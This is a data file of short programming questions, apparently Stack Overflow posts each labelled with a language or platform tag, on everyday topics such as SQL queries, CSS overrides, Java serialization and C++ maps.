anyone has a better way of storing boolean values in mysql then i d love to learn.    secondly  here is my php function inside of my <code>user.class.php</code> file which is getting the unread count using this sql. this function is returning <code>0</code> when it should be returning <code>1</code>. the <code>$this-&gt;getuserid()</code> is returning <code>1</code> as that is the current user i am using:   <pre><code>public function getunreadcount() {     global $database;     $sql =  select * from `pms` where `toid` =   .$this-&gt;getuserid().   and `read` =  0  and  binned  =  0  ;     $query = $database-&gt;query($sql);     $count = $database-&gt;count($query);     return $count; } </code></pre>   thanks for the help so far but i still cannot work out why this isn t working. i m using the <code>read</code> in the query adding backticks to prevent mysql from using it as a keyword.    i bet its something really obvious i m missing...,mysql
what does tt & 0 stands for in this line   what does tt &amp; 0 stands for in this line    <pre><code> time = string.format( {0:hh:mm:ss tt}   datetime.now); </code></pre>   i looked here but didn t see anything : <a href= http://msdn.microsoft.com/fr-fr/library/system.string.format.aspx  rel= nofollow >http://msdn.microsoft.com/fr-fr/library/system.string.format.aspx</a>,c#
where are downloaded sound files saved   when i download a sound file in my iphone  in which directory is it stored,iphone
exception: unable to retrieve security descriptor for this frame exception  the exception from the subject line is thrown when i am trying to load an xsl spreadsheet. the call stack is attached below. this program worked for a while with a variety of style sheets now it works on some comuters but throws this exception on some other. i looked it up on the internet but <a href= http://social.msdn.microsoft.com/forums/en-us/xmlandnetfx/thread/c5ba915d-d35b-4170-96b1-fb2b107f8779  rel= nofollow noreferrer >this</a> is all i could find and it does not give any answers other than some vague suspicion on some seciruty update. i am at loss. any ideas    <pre><code>at system.security.securityruntime.revertassert(stackcrawlmark&amp; stackmark) at system.security.codeaccesspermission.revertassert() at system.xml.xsl.xmlilgenerator.generate(qilexpression query  typebuilder typebldr) at system.xml.xsl.xslcompiledtransform.compileqiltomsil(xsltsettings settings) at system.xml.xsl.xslcompiledtransform.loadinternal(object stylesheet  xsltsettings settings  xmlresolver stylesheetresolver) at system.xml.xsl.xslcompiledtransform.load(xmlreader stylesheet) at aim.letters.documents.layout.get_wordxsl() in c:\aim\letterssolutionii\letterdocuments\documents\layout.cs:line 29 at aim.letters.processingservice.activities.tiffgenerator.buildwordml(letterjob jobdocument  layout layout) in c:\aim\letterssolutionii\letterservice\activities\tiffgenerator.cs:line 253 </code></pre>,.net
call php webservice from iphone application  i want to know how to call php webservice from iphone application.also i have to pass parameters to the webservice.can anyone tell me how to do this,iphone
how do i get android to wait for text input  <pre><code>    checkbutton.setonclicklistener(             new button.onclicklistener(){                 public void onclick(view v){                     questionbox.settext( what is 2 + 2 );               if(answerbox.gettext().equals( 4 )){                   questionbox.settext( good job );               }               else {                     questionbox.settext( nope );                 }             }     );  </code></pre>   *every time i run the program it automatically checks without waiting on user input  how would i be able to make it wait/allow the user to input some text before testing the user input *,android
getting a value from user control  i have an issue that i believe there is a simple solution for but being new to asp.net it is not very clear to me.    i have a user control that has a for loop that makes bunch of hyperlink elements in a list (looks like below>   <pre><code>&lt;li&gt;&lt;a href= blahblah.aspx id=1..../&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= blahblah.aspx id=2..../&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= blahblah.aspx id=3..../&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= blahblah.aspx id=4..../&gt;&lt;/li&gt; </code></pre>   next  that uc is used in another page with in a <code>&lt;form&gt;</code> tag with <code>method= post </code> and <code>&lt;asp:button&gt;</code> that isn t really used.    next  when one of the links is clicked it will go to blahblah.asp and get the id in there via <code>request.querystring</code>    so far so good.    what i want to do though (and the reason for this post) is that i want to not use id as a query parameter.  i want to pass the id in the body.  so the link would be blahblah.aspx and it wouldn t show the id.    what would be the best way to accomplish this.  i ve tried couple different ways but it s not working.,asp.net
what is the key difference between a  debug  and a  release  build in .net   <strong>duplicate of:</strong> <a href= https://stackoverflow.com/questions/90871/debug-vs-release-in-net >debug vs. release in .net</a>    why are there  debug  and  release  modes on build in .net applications     what is the major technical difference between them,.net
sql query for active users  this sql query gives me today s number of users active in the last 30 days:   <pre><code>select count(*)  from table.users where creation_tsz &gt;= (now() - interval  30 days ) </code></pre>   how can i modify it to get not a single value  but a table of active users for a range of dates     my desired output would look like this:    <pre> date       users active in the last 30 days   1/1/2010   10000   1/2/2010   11234   1/3/2010   12343   1/4/2010   15944   ...        ...  </pre>   thanks     rob,sql
.net timespan object: how do i get the start and end datetime   consider this:   <pre><code>dim startdate as datetime = #06/12/2010 6:32pm# dim enddate as datetime = #06/13/2010 10:47pm# dim elapsedspan as timespan = startdate - enddate </code></pre>   does the timespan object retain the original start and end datetimes that make up the span period  it doesn t appear to and only seems to store the amount of time elapsed not the actual end points.     if i want this too  should i create my own class  i suppose or is there a better object,.net
css rewrite but in the bottom of the code  i have some website for my customer  and i have access only to the footer... wonder if i can put there a line code:   <pre><code>&lt;link rel= stylesheet  href= http://www.myserver.com/css/style.css  type= text/css  /&gt; </code></pre>   and with this file i will able to change the css  but the question is how can i rewrite to some class and the browser will ignore from the css that in the header...     thanks!,css
select attribute of next element  is it possible to access an attribute (selected) an element (li-2.2) in an attribute selector of a css selektor       html   <pre><code>`&lt;ul&gt;   &lt;li&gt;1&lt;/li&gt;   &lt;li&gt;2&lt;/li&gt; &lt;!-- should be blue because sub menu is selected--&gt;     &lt;ul&gt;       &lt;li&gt;2.1&lt;/li&gt;       &lt;li selected&gt;2.2&lt;/li&gt;     &lt;/ul&gt;   &lt;li&gt;3&lt;/li&gt; &lt;/ul&gt;` </code></pre>   css   <pre><code>`li[selected] {   color: red; }}` </code></pre>   i m looking for a css selektor that changes the color of the li-2-element if li-2.1 or li-2.2 element is selected    thank you,css
sql inner join two tables  i m importing data from a sql database and binding it with angular.js. i don t know sql well and having a few problems with this.    what i would like to do is have the the relevant image to appear with the post. this is what i have come up with so far.   <pre><code>select posts.id  posts.name  posts.description  posts.date  posts.email  from posts inner join images on images.id  images.post_id  images.image  order by posts.date desc </code></pre>   the schema is     posts(table):   <pre><code>id(pk)  name  description  date  email </code></pre>   images(table):   <pre><code>id  post_id(fk)  image </code></pre>,sql
iphone regarding html content in uitableview  i want to render the html content in the uilabel/uitableview cell in iphone.    after a quite research got to understand we can use the nsattributedstrings:initwithhtml to acheive this rather then using uiwebview.    but couldnt get sample code how to acheive this.    can any one provide sample code  which can be used in the uitable view cell for the html content.    thanks in advance,iphone
cant remove background image from master style sheet  our application has a master .css common for all our pages and we are not allowed to change anything in this file.     we have an entry there as follows:   <pre><code>ul li{display:block;padding:0 0 0.5em 15px;margin:0 0 0 0;background:url(../images/bullet.gif) top left no-repeat;} </code></pre>   i am implementing predictive search on one of the jsp-s and i have a specific css file for this purpose which is as follows   <pre><code>.ac_results {     padding: 0px;     border: 1px solid black;     background-color: white;     overflow: hidden;     z-index: 99999; }  .ac_results ul {     width: 100%;     list-style-position: none;     list-style: none;     padding: 0;     margin: 0;     list-style: disc inside; }  .ac_results li {     margin: 0px;     padding: 2px 5px;     cursor: default;     display: block;     /*          if width will be 100% horizontal scrollbar will apear          when scroll mode will be used     */     /*width: 100%;*/      font: menu;     font-size: 12px;     /*      it is very important  if line-height not setted or setted      in relative units scroll will be broken in firefox     */     line-height: 16px;     overflow: hidden; }  .ac_loading {     background: white url( indicator.gif ) right center no-repeat; }  .ac_odd {     background-color: #eee;  }  .ac_over {     background-color: #0a246a;     color: white; } </code></pre>   my problem is that i am unable to remove this <code>bullet.gif</code> from my current predictive search list . if i add background: none i am loosing all the existing background colours. how can i stop this <code>bullet.gif</code> to appear in my list.    <strong>please note :</strong> i tried with <code>background-image:none;</code> also and it did not work  the <code>bullet.gif</code> is still coming up in my search list :(    regards  m,css
insert table statistics in another table  i have the following table in a database (teradata/hive):   <pre><code>create multiset table dp_s.temp_a  no fallback        no before journal       no after journal       checksum = default       default mergeblockratio      (       id integer        val varchar(200) character set latin casespecific       ) no primary index; </code></pre>   i want to generate the following stats and insert them row by row in a stats table:   <pre><code>sel  temp_a  as testing_table                  cast(count(*) as number(30)) as noofrows                   min(id) as min_id                   max(id) as max_id                   sum(case when id is null then 1 else 0 end) as null_check_id                  sum(cast(id as decimal(30 8))) as sumnum_id                   min(val) as min_val                   max(val) as max_val                  sum(cast(length(trim(val)) as decimal(30 8))) as sumlen_val                 from dp_s.temp_a; </code></pre>   ddl for stats table:   <pre><code>create multiset table dp_s.sanity_stats  no fallback        no before journal       no after journal       checksum = default       default mergeblockratio      (       stats_date date default current_date format  yyyy-mm-dd         tbl_name varchar(200) character set latin casespecific        col_name varchar(200) character set latin casespecific        stats_type varchar(200) character set latin casespecific        stats_value bigint      ) no primary index; </code></pre>   e.g if temp_a is the following table   <pre><code>id | val 1  |  abc  2  |  def  </code></pre>   the stats table should contain the following information:   <pre><code>date       | table  | col | stattype | value 2014-12-24 | temp_a | all | noofrows | 2 2014-12-24 | temp_a | id  | min      | 1 2014-12-24 | temp_a | id  | max      | 3 2014-12-24 | temp_a | id  | sumnum   | 3 2014-12-24 | temp_a | id  | nullchk  | 0 2014-12-24 | temp_a | val | min      |  abc  2014-12-24 | temp_a | val | max      |  def  2014-12-24 | temp_a | val | sumlen   | 6 </code></pre>   is this possible to achieve in a single query  (i know i can run multiple inserts while selecting one stat from the table  but i guess that would be slow and cumbersome),sql
why the function parameter is omitted  <pre><code>[button addtarget:self action:@selector(onclick:) forcontrolevents:uicontroleventtouchupinside];   -(void)onclick:(id)sender{     self.label.text=@ helloworld ;     nslog(@ %@  self.label.text); } </code></pre>   when the <code>onclick</code> function called as a parameter  why the <code>(id)sender</code> is omitted  such as <code>@selector(onclick:sender)</code>.,objective-c
creating a dataframe in python  not sure how to correctly phrase this  but here goes:    what s the easiest way to create a one-column dataframe in python that holds ones and zeros  and the length is determined by some input     for example  say that i have a sample size of 1000  of which a 100 successes (ones). the amount of zeros would then be the sample size (i.e.  1000) minus successes. so the output would be a df with a length of 1000  of which a 100 rows contain a one and 900 a zero.,python
gridview : selected page button (number) style <pre><code>    &lt;asp:gridview id= gridview2  runat= server           datasourceid= sqldatasource1  width= 100%           ondatabound= gridview2_databound  cellpadding= 4  forecolor= #333333           gridlines= both  onrowdatabound= gridview2_rowdatabound           horizontalalign= center  allowpaging= true   pagesize= 25           onrowcreated= gridview2_rowcreated &gt;         &lt;pagersettings mode= numericfirstlast  pagebuttoncount= 25  /&gt;         &lt;rowstyle backcolor= #f7f6f3  forecolor= #333333  horizontalalign= center               verticalalign= middle  /&gt;         &lt;footerstyle backcolor= #5d7b9d  font-bold= true  forecolor= white  /&gt;         &lt;pagerstyle backcolor= #284775  forecolor= white  horizontalalign= center               verticalalign= middle  /&gt;         &lt;selectedrowstyle backcolor= #e2ded6  font-bold= true  forecolor= #333333               horizontalalign= center  verticalalign= middle  /&gt;         &lt;headerstyle backcolor= #5d7b9d  font-bold= true  forecolor= white  /&gt;         &lt;editrowstyle backcolor= #999999  horizontalalign= center  /&gt;         &lt;alternatingrowstyle backcolor= white  forecolor= #284775               horizontalalign= center  /&gt;     &lt;/asp:gridview&gt; </code></pre>   <a href= http://i036.radikal.ru/1003/af/f739bc95f5ab.jpg  rel= nofollow noreferrer >alt text http://i036.radikal.ru/1003/af/f739bc95f5ab.jpg</a>    i select 6 page ... but i can t see some difference between selected and not selected page buttons :( how can i set different fonts for selected and not selected page buttons,asp.net
is there some kind of functionality  where a pointer dereference gives an rvalue   is there some kind of functionality  where a pointer dereference gives an rvalue     so  a usual pointer gives an lvalue:   <pre><code>foo *p = ...;  fn(p[42]);    // p[42] is an lvalue </code></pre>   i d like to have <code>p[42]</code> return an rvalue  so a <code>fn(foo &amp;&amp;)</code> can be called for <code>fn(p[42])</code>:   <pre><code>&lt;some_pointer_type&gt; p = ...;  fn(p[42]);    // i d like to have p[42] be an rvalue  so an fn(foo &amp;&amp;) would be called </code></pre>   note: i d like to have <code>p</code> has this functionality  the <strong>pointer type</strong> should have this information  that dereferencing it should give an rvalue.,c++
divide a query result having multiple records with another query result having multiple records in mysql  i have two queries giving two sets of result  i want to divide one query s result with another.    here is my first query :   <pre><code>select count(*)  from survey_event_answers a join survey_events e on a.eventid = e.eventid where e.event_status =  closed  and        e.survey_date between  2013-05-01  and  2014-01-31  and        a.response_options in (10 11) and a.questionid = 7  group by month(e.survey_date) desc; </code></pre>   here is the result of this query :   <pre><code>279 443 664 743 785 1312 1085 915 231 </code></pre>   here is my another query :   <pre><code>select count(*) e.survey_date  from `survey_event_answers` a inner join survey_events e on a.eventid = e.eventid where e.event_status= closed  and        e.survey_date between  2013-05-01  and  2014-01-31  and        a.questionid=7  group by month(e.survey_date) desc </code></pre>   here is the query result :   <pre><code>351 539 826 926 984 1654 1378 1165 844 </code></pre>   i want that first row of first result set should divide by first row of second row set.    please help me out how can i do this.    thanks,mysql
insert string into a filepath string before the file extension c#  i have a string that defines the path of a file:   <pre><code>string duplicatefilepath = d:\user\documents\processed\duplicate_files\file1.jpg; </code></pre>   i am going to move a file to this location but sometimes a file with the identical name exists all ready. in this case i want to differentiate the filename. i have the crc value of each file available so i figured that may be good to use to ensure individual file names. i can create:   <pre><code>string duplicatefilepathwithcrc = duplicatefilepath +  (  + crcvalue +  ) ; </code></pre>   but this gives:   <pre><code>d:\user\documents\processed\duplicate_files\file1.jpg(crcvalue); </code></pre>   and i need:   <pre><code>d:\user\documents\processed\duplicate_files\file1(crcvalue).jpg; </code></pre>   how can i put the crcvalue into the string before the file extension  bearing in mind there could be other . s in the file path and file extensions vary,c#
can t type in textarea  i am having trouble with my form below  when the user clicks the textarea the cursor does not appear and nothing can be typed  why is this    <pre><code> &lt;form name= addblog  action= postblog.php name=alex  method= post &gt;   post: &lt;textarea name= text2  cols= 25  rows= 2 &gt;  &lt;/textarea&gt;  &lt;input type= submit  value= submit &gt;  &lt;/form&gt; </code></pre>,html
how to get the photos from picasa for my iphone app and how to integrate   i am working on a project in which i need to integrate the picasa to get the photos to my iphone app  i searched for it got some links <a href= http://code.google.com/apis/picasaweb/overview.html  rel= nofollow noreferrer >http://code.google.com/apis/picasaweb/overview.html</a> but it doesn t work for me .  please help me regarding this issue.  it would be grate if any body help me with the sample project    thanks,ios
variable  variable =  syntax in python   i m just getting started in python  and either haven t read about this  or missed it  and i don t know what to search for to find my answer.    playing around with the imap module i came across this line of code.   <pre><code>result  data = mail.search(none   all ) </code></pre>   what is happening with the two variables here  is this a syntax that is used when methods return a certain way  or does it always work  could someone either explain what s going on here  or point me to some documentation,python
request was aborted  i tried to split large file into small 4kb chunks and send each chunks to oracle cloud but request is aborting. please check the splitting code whether it is correct or not or am i doing wrong something else.   <pre><code>filestream rdr = new filestream(filetoupload  filemode.open  fileaccess.read); byte[] indata = new byte[4096]; long  chunksize= rdr.length; long chunkbytestoread = chunksize;  using (stream reqstream = request.getrequeststream()) {     while (rdr.position &lt; rdr.length)     {         int chunkbytesread = 0;         int maxread = 4096;          while (chunkbytesread &lt; chunksize)         {             int bytesread = rdr.read(indata 0 maxread);              if (bytesread == 0)             {                 break;             }              reqstream.write(indata  0  bytesread);              chunkbytestoread -= bytesread;             if (chunkbytestoread &lt; 4096)                 maxread = (int)chunkbytestoread;              chunkbytesread += bytesread;                     }     }      reqstream.close(); } </code></pre>,asp.net
how to populate new value in drop down list after submit button without page refresh in angularjs  i would like to know how to populate drop down list with the new value after submitting the form. i can see the new value only if i do page refresh.    regards.,angularjs
why it says there are not my text boxes  i wrote below code . but i do not know why i get error. but every thing seems ok. it says there are not my text boxes in context. but there are .   <pre><code>    &lt;asp:content id= content1  contentplaceholderid= contentplaceholder1  runat= server &gt;     &lt;form id= form1  runat= server &gt;        &lt;asp:textbox id= address  runat= server /&gt;         &lt;div class= form1 &gt;              &lt;label for= fname &gt;                 &lt;span&gt;name:&lt;/span&gt;                 &lt;asp:textbox id= fname  runat= server /&gt;              &lt;/label&gt;              &lt;label for= lname &gt;                 &lt;span&gt;lname: &lt;/span&gt;                 &lt;asp:textbox id= lname  name= lname  runat= server  /&gt;             &lt;/label&gt;             .             .             .          &lt;/div&gt; </code></pre>         <pre><code>    protected void send2_click(object sender  eventargs e)      {     tbl_register tbl = new tbl_register();      tbl.firstname = fname.text;  // the name  fname  does not exist in the current context       tbl.lastname = lname.text;   // the name  lname does not exist in the current context     tbl.address = address1.text; //..     tbl.phone = phone.text;      //..     tbl.email = email3.text;     //..     db.tbl_registers.insertonsubmit(tbl);     db.submitchanges();  } </code></pre>,asp.net
scrolltorowatindexpath with row 0 scrolls to header not row  i have this line   <pre><code>[self.tableview scrolltorowatindexpath:self.cellindexpath atscrollposition:uitableviewscrollpositiontop animated:yes]; </code></pre>   the cellindexpath is section 2  row 0.    instead of scrolling to the row it scrolls to the header of section 2.    testing shows this seems to be the default behavior. is there any way to override it and actually scroll to row 0     thanks,ios
angularjs factory data sharing  i have written one factory to share data between controllers. here is the sample   <pre><code>.factory( shareddata   function () {         var property = {             title:                 color:            };          return {             gettitle: function () {                 return property.title;             }              settitle: function (title) {                 property.title = title;             }              getcolor: function () {                 return property.color;             }              setcolor: function (color) {                 property.color = color;             }         }; </code></pre>   i am using controller to set data in the factory using.   <pre><code>shareddata.settitle( title ); </code></pre>   but when i am trying to call:   <pre><code>console.log(shareddata.gettitle()); </code></pre>   i am receiving empty string. i have injected service in both the controller properly. any help is appreciated.    <strong>edit:</strong>  sorry to miss out one important information. i am setting the data after a successful rest call code is as below.   <pre><code>var req =             {                 method:  get                   url:  /titlename                  headers: {                      content-type :  application/json                  }              };             $http(req)                 .success(function (response  status)                 {                     console.log(status);                     console.log(response[0].name);                      shareddata.settitle(response[0].name);                     shareddata.setcolor(response[1].color);                  })                 .error(function (response  status)                 {                 }); </code></pre>   json response is as below :   <pre><code>[{ name : name } { color : red }] </code></pre>   console.log in success callback is giving correct response as name. thanks,angularjs
anonymous class binary names  i have the following problem:    1) there is some abstract class a with several anonymous subclasses stored in the static fields of a. there is circular dependency between two of the anonymous subclasses. the code of that abstract class is similar to following:   <pre><code>class a implements serializable {      public static final a _1 = new a() {         public a foo()         {             return _2;         }     };      public static final a _2 = new a() {         public a foo()         {             return _1;         }     };      public static final a _3 = new a() {         public void bar()         {             // do something         }     }; } </code></pre>   2) instances of class a is referenced by other objects which are used in serialization. there are some objects which are pre-serialized by developers and then included into release as binary data.    after some refactoring of a class binary names of anonymous subclasses was changed in the release builds. i think this may be due to difference of java compiler versions. from .class files made on my machine i can see that anonymous subclasses of a stored in _1  _2 and _3 fields have names a$1  a$2 and a$3  respectively  but from .class files taken from release build i can see that anonymous subclasses of a stored in _1  _2 and _3 fields have names a$2  a$3 and a$1  respectively. due to this pre-serialized data became unusable and i need to fix this somehow.    are there any specifications for java compilers or jvm which will say what binary names i should expect for my anonymous classes  the jls says that name of anonymous class should be name of enclosing class   $ -sign and non-empty sequence of digits without setting any constraints on these sequences.    i believe that i shouldn t rely on internal names of anonymous classes  i also know  proper  ways to fix that problem like generating pre-serialized data on the build server. too bad we don t have much time for this now  so i want to know from where this naming difference comes  so i could fix this issue now.,java
using a cipherinputstream and fileinputstream together for unencrypted and encrypted access together  i have file which contains the beginning contains unencrypted header data and then the rest of the contains encrypted header data. i want to be able to read the header data using a bufferedinputstream/ fileinputsteam. next i want to start reading the rest of the  encrypted data using cipherinputstream that uses the same buffereredinputstream as input    is this allowable    is it ok to change the way you are using a stream.,java
returning object from a javascript function with database query inside  i am trying to return the markers as the object  but when i run the function it just returns [ ]  but printing it inside i can see the object data  can anyone explain how to return the object batch2 please     <pre><code>google.maps.event.addlistener(mgr   loaded   function(){             mgr.addmarkers(getmarkers() 6); //add all the markers! documentation for viewports with totals for city count  look at viewport             mgr.addmarkers(getmarkers2() 14); //get markers for zoomed out place  add click function to zoom in             //mgr.addmarkers(getmarkers(1000)  8);             console.log( added );             mgr.refresh();         });  function getmarkers2() {          var batch2 = [];         var clusters = new parse.query( cityfreqcoords );         var clusterresults = new parse.object( cityfreqcoords );          clusters.find({             success: function (results) {                 for (i = 1; i &lt; results.length; i++) {                      var city = (results[i][ attributes ][ city ]);                     var count = (results[i][ attributes ][ count ]);                      var lat = (results[i][ attributes ][ lat ]);                     var lng = (results[i][ attributes ][ lng ]);                      var markerlatlong = new google.maps.latlng(lat  lng);                      //icon =                      //adding the marker                     var marker2 = new google.maps.marker({                         position: markerlatlong                          title: city                          clickable: true                          animation: google.maps.animation.drop                         //icon:icon                     });                      //adding the click event and info window                     google.maps.event.addlistener(marker2   click   function () {                         map.setzoom(6);                         map.setcenter(marker2.getposition());                     });                     batch2.push(marker2);                 }             }         })         return batch2;     } </code></pre>,javascript
is it possible to declare a main method as a string in java   i am trying to declare the main method as a string to print the output code to a text file. i tried something like:   <pre><code>string textoutput1 = ((main));  </code></pre>   and    <pre><code>string textoutput1 = (main()) </code></pre>   but it does not work. if you know a way to declare a main method as a string or any other java data type please help.,java
single assignment for basic types in c++  i d like to create a  single assignment  wrapper for basic types (such as int) that talks like an int  walks like an int  smells like an int  but can only be modified or assigned to at most once (like in some pure functional languages). for example (copy constructor omitted to keep the example simple):   <pre><code>template&lt;class t&gt; struct sa {     sa&lt;t&gt;(t init) : wasassigned(false) {         val = tmp = init;     }     sa&lt;t&gt; &amp; operator=(const t&amp; other) {         if (!wasassigned) {             if (val != tmp) {                 val = tmp;             } else {                 val = tmp = other;             }             wasassigned = true;         }         return *this;     }     operator t&amp; () {         if (!wasassigned &amp;&amp; (val != tmp)) {             wasassigned = true;             val = tmp;         } else {             tmp = val;         }         return tmp;     } private:     bool wasassigned;     t val  tmp; }; </code></pre>   this is close  but not perfect. it relies on the val/tmp equality test to detect changes  and fails in this case:   <pre><code>sa&lt;int&gt; i(3); cin &gt;&gt; i; i = 5; </code></pre>   iff the <code>cin &gt;&gt; i</code> assigns the same value as the initial value (3)  i will be 5 at the end. how can this be fixed,c++
control guided access from application  we have an app with an assessment module where we take a objective type test. we don t want that user will switch between apps to cheat. currently we are rejecting test in case when application goes to background.     <strong>in ios 6 apple introduced a new feature called guided access and i am wounding if we can control it by an objective c code snippet.</strong>,objective-c
what is wrong with this obj-c code   it s an example program in a textbook. it does not run as expected. it s supposed to simulate a sigma calculation and add all the fractions in a series. but it just gives me 0.000000 when it s done the loop. any ideas  thanks in advance:   <pre><code>#import &lt;foundation/foundation.h&gt;  // the fraction class  @interface fraction : nsobject  {     int numerator;     int denominator; }  @property int numerator  denominator;  -(void) print; -(void) set: (int) n: (int) d; -(double) converttonum; -(void) reduce; -(fraction *) add: (fraction *) f;   @end  -------------------------------------  #import  fraction.h    @implementation fraction  @synthesize numerator  denominator;  -(void) print  {     nslog (@ %i/%i   numerator  denominator); }  -(double) converttonum {     if (denominator != 0)          return (int) numerator / denominator;     else          return 1.0; }  -(void) set:(int)n:(int)d {     numerator = n;     denominator = d; }   -(void) reduce  {     int u = numerator;     int v = denominator;     int temp;      while (v != 0) {         temp = v % u;         u = v;         v = temp;     }      numerator /= u;     denominator /= u; }   -(fraction *) add: (fraction *) f  {      fraction *result = [[fraction alloc] init];     int resultnum  resultdenom;      resultnum = numerator * f.denominator +      denominator * f.numerator;     resultdenom = denominator * f.denominator;      [result set: resultnum: resultdenom];      [result reduce];     return result; }  @end    --------------------------------------------  #import  fraction.h   int main (int argc  char *argv[]) {      nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];       fraction *afraction = [[fraction alloc] init];      fraction *sum = [[fraction alloc] init]  *sum2;      int i  pow2  n;      // set 1stfraction to 0       [sum set: 0.0 : 1.0];        nslog (@ enter your value for n: );     scanf ( %i   &amp;n);       pow2 = 2;      for (i = 1; i &lt;= n; ++i) {         [afraction set: 1 : pow2];          sum2 = [sum add: afraction];          [sum release]; // release previous sum          sum = sum2;          pow2 *= 2;       }      nslog (@ after %i iterations  the sum is %f   n  [sum converttonum]);     [afraction release];     [sum release];         [pool drain];     return 0; } </code></pre>,objective-c
how to delete a file from a subfolder within a folder using php  i have to delete a file from the database and also to delete the file from the folder which is stored in server as files(folder)/newsletter(subfolder)/file1 using php.iam using following code the file is deleting from the database but its not deleting from the folder ..plz help thanks in advance.    my code is..   <pre><code>&lt; php  $id = intval($_request[ id ]);  include  db/connection.php ;  $sql1 = mysql_query( select * from newsletters where id=$id ); $results = mysql_fetch_array($sql);  if ($results[ file ] !=   ) {      $image = $results[ file ];      unlink( ../files/newsletter/  . $image); }  $sql =  delete from newsletters where id=$id ;  $result = @mysql_query($sql);  if ($result) {     echo json_encode(array( success  =&gt; true)); } else {     echo json_encode(array( msg  =&gt;  some errors occured. )); }   &gt; </code></pre>,php
specifying selector of the element to which we are attaching jquery event  in jquery when we want to use live event (i.e. listening event that bubbles up)  we write something like:   <pre><code>$dom_element.on( click   some_selector_here  handler); </code></pre>   now imagine that we want the click to be triggered if and only if $dom_element also satisfies some selector test. of course  we can always write:   <pre><code>$dom_element.on( click   some_selector_here  function() {     if ($dom_element.is(yet_another_selector) {          //do the job!          ...     }  } </code></pre>   i want to ask is there is a way to set this selector not in handler logic,jquery
best way to select n elements at a time in jquery  i have an <code>ul</code> of <code>li</code> elements  what i want to do is this:   <ol> <li>if there are 6 or less <code>li</code> elements  select them all and put them into a new <code>ul</code>.</li> <li>for any number greater than 6 elements  loop through  selecting 6 elements  put into new <code>ul</code>  start at the next <code>li</code> element and continue.</li> <li>if there are less than 6 element left at the end  they get put into a new <code>ul</code> as well.</li> </ol>   if i start out with 5 <code>li</code> elements  i would hope to end up with 1 <code>ul</code> element with 5 <code>li</code> children.    if i start out with 40 <code>li</code> elements  i would hope to end up with 7 <code>ul</code> elements  6 with 6 <code>li</code> children and 1 with 4.    what would be the most efficient way of handling this in jquery,jquery
strange problem of having test as selectedfile in jfilechooser  i face the following strange problem while using jfilechooser   <pre><code>package sandbox;  import java.io.file; import javax.swing.jfilechooser;  /**  *  * @author yccheok  */ public class main {     /**      * @param args the command line arguments      */     public static void main(string[] args) {         final jfilechooser chooser = new jfilechooser();         chooser.setacceptallfilefilterused(false);          // strange! using  test   when dialog box pop up  you see empty in file name field.         // however  using other name like  testx   when dialog box pop up  you see  testx  in file name field.         //chooser.setselectedfile(new file( testx ));         chooser.setselectedfile(new file( test ));          chooser.showopendialog(null);     } } </code></pre>   is this my machine problem  or you all face the same problem too  for your information  i am using vista.,java
mysql complex ranking query  i need to rank users in mysql where the rank takes into account both ties and continues to counts the tied users as part of the rank.. for example..   <pre><code>points    rank   100        1  100        1  100        1  70         4  70         4  60         5  50         6  40         7  40         7  10         8  0          9  0          9 </code></pre>   using the code below i m ranking as follows...   <pre><code>points    rank    game   100        1       1  100        1       1  100        1       1  70         2       1  70         2       1  60         3       1  50         4       1  40         5       1  40         5       1  10         6       1  0          7       1  0          7       1  update rank_table join   (select f.points   if     (@lastpoint &lt;&gt; f.points     @currank := @currank +1      @currank) as rank      @lastpoint := f.points from   rank_table f join   (select @currank := 0  @lastpoint := -1) r where f.game =1 order by f.points desc ) ranks on (ranks.points = rank_table.points) set rank_table.rank = ranks.rank where rank_table.game =1; </code></pre>   would anyone know it this is possible..,mysql
what is in java the  system default package    <br> while researching the urlconnection class i stumbled on a reference to <strong><em>system default package</em></strong> in the api docs for the <strong>url</strong> class <a href= http://download.oracle.com/javase/6/docs/api/java/net/url.html#url%28java.lang.string%2c%20java.lang.string%2c%20int%2c%20java.lang.string%29  rel= nofollow >here</a>.    anyone knows what that is <br> thanks.,java
asp.net  showing loading message while postback  i have an asp.net page which has an asp.net button control in it.  when the user clicks on the button  the page will do some calculations and then close itself  but when i click on the button during post back  the page shows a blank screen.  i want to show a loading message instead of this.  i used javascript to show a div which was hidden intitially and shown when the user clicks the button  but when the post back happens  the screen becomes blank.  any idea how to show the loading messsage in this scenario     thanks in advance.,asp.net
maps in c++ with key as string and int as value  whenever i take an input  the output comes with the first elements key as null. why is it happening      eg:-     input :-    <pre><code>2 mayank (now it shows output directly) </code></pre>   output :-   <pre><code> =&gt; 1 mayank =&gt; 1 2 </code></pre>   =================   <pre><code>#include &lt;bits/stdc++.h&gt;  using namespace std;  int main() {     int n;     string str;     map&lt;string  int&gt; vote;     cin&gt;&gt;n;     for(int i=0;i&lt;n;i++)     {         getline(cin str);         vote.insert(pair&lt;string  int&gt;(str vote[str]++));     }     for(map&lt;string  int&gt;::iterator it=vote.begin();it!=vote.end();it++)     {         cout&lt;&lt;it-&gt;first&lt;&lt;  =&gt;  &lt;&lt;it-&gt;second&lt;&lt;endl;     }     cout&lt;&lt;vote.size()&lt;&lt;endl;     return 0; } </code></pre>,c++
css style if showing up in ie  i am building a separate stylesheet for ie.  i am using this code between    <pre><code>&lt;head&gt;   &lt;!--[if ie]&gt; &lt;link rel= stylesheet  type= text/css  href= css/iestyle.css  /&gt;  ![endif]--&gt;   &lt;/head&gt; </code></pre>   the problem is  this part is being printed to the screen on the page in ie:   <pre><code>  ![endif]--&gt; </code></pre>   what am i doing wrong,css
is it possible to create bulk of txt files in c++   i want to create thousands of file with txt extension in c++. is it possible  i can not imagine how can i do that. if i write some code right here so you can understand what i want.   <pre><code>int main ()  { ofstream myfile; myfile.open ( example.txt ); myfile &lt;&lt;  writing this to a file.\n ; myfile.close(); return 0; } </code></pre>   i want to generate a bulk of txt of files with this method. in addition i want to run these codes inside a for structure. at the end of the operation i must have 10 000 file and these file s names are like example1.txt   example2.txt   example3.txt ... you do not have to write code i just want to know how to do it. you can just share link to some tutorial.,c++
objective c custom class init from array element  i have a person with setter / getter... now i m looping an array of that person object. how do i assign the element to a new person.   <pre><code>for (int i =0; i&lt;[people count]; i++) {     person *p = [people objectatindex:i];    nslog(@ %@   [p id]); } </code></pre>,objective-c
